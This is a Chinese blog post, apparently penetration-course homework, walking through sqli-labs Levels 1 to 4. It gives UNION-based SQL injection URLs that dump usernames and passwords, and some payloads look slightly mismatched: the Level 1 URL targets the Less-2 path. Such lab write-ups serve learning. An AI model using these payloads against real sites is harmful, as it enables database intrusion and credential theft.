渗透作业1

关于渗透课程的部分靶场漏洞复现

环境搭建:

在Windows上下载phpstudy,将sqli-labs靶场的压缩包解压至G:\phpStudy\phpstudy_pro\WWW路径下即可简单搭建靶场环境。

搭建时遇到的小问题,phpstudy上的MySQL无法正常启动,发现是因为之前下载安装过MySQL环境,服务自动开启占用了80端口,导致phpstudy上的MySQL无法正常启动,使靶场无法连接到数据库。解决办法很简单,卸载之前的MySQL数据库系统,或者关闭MySQL80服务再启动phpstudy上的MySQL服务也是一样的效果。

sql注入原理

web程序在接收用户相关数据参数时没有做好过滤,将其直接带入到数据库进行查询,导致用户可以查到看到本不该查到看到的内容,攻击者可通过此类方法拼接执行构造的数据库语句。

sql注入思路

1.判断注入点

2.判断数据库类型

3.判断参数数据类型

4.判断数据库语句过滤情况,从而选择相应的注入方式

sqli-labs less第一关

根据提示在url中输入?id=1

通过在?id=1后键入“ ' ”后出现报错提示,判断存在注入点

所以需要想办法执行联合查询,想要执行联合查询,要先解决报错问题,还有知道有几个字段

出现报错的原因是因为引号需要成对出现,所以解决报错只需闭合多余出来的单引号,或者将多余的单引号注释掉。于是我选择第二种,注释掉多余的引号。在url中添加--+进行注释。

想要知道有几个字段,则使用order by语句进行查询,order by的作用是对结果进行排列 

再通过二分查找的思想去猜解字段即可,尝试到4时出现报错,说明一共三个字段。

然后使用联合查询语句进行尝试注入

发现没变化,猜测和id=1的查询有关,于是尝试id=-1,并且引入sql函数作为联合查询的参数

得知我们所拥有的权限,以及数据库名

再通过group_concat提取表名,列名,用户名和密码

http://www.sqli.com/Less-2/?id=-1%27%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users%20--+

sqli-labs less第二关

与第一关不同的点在于id为整型传参,我们甚至不需要闭合注释单引号,其余流程与第一关一致

http://www.sqli.com/Less-2/?id=-1%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users

sqli-labs less第三关

与第一关的区别是多了一对括号,所以我们应用与第一关解题方式,只需多加一个)即可

http://www.sqli.com/Less-3/?id=-1%27)%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users%20--+

sqli-labs less第四关

在第三关的基础上有多了一对双引号,所以只需再多加一个双引号即可 

http://www.sqli.com/Less-4/?id=-1%27%22)%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users%20--+

持续更新...... 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值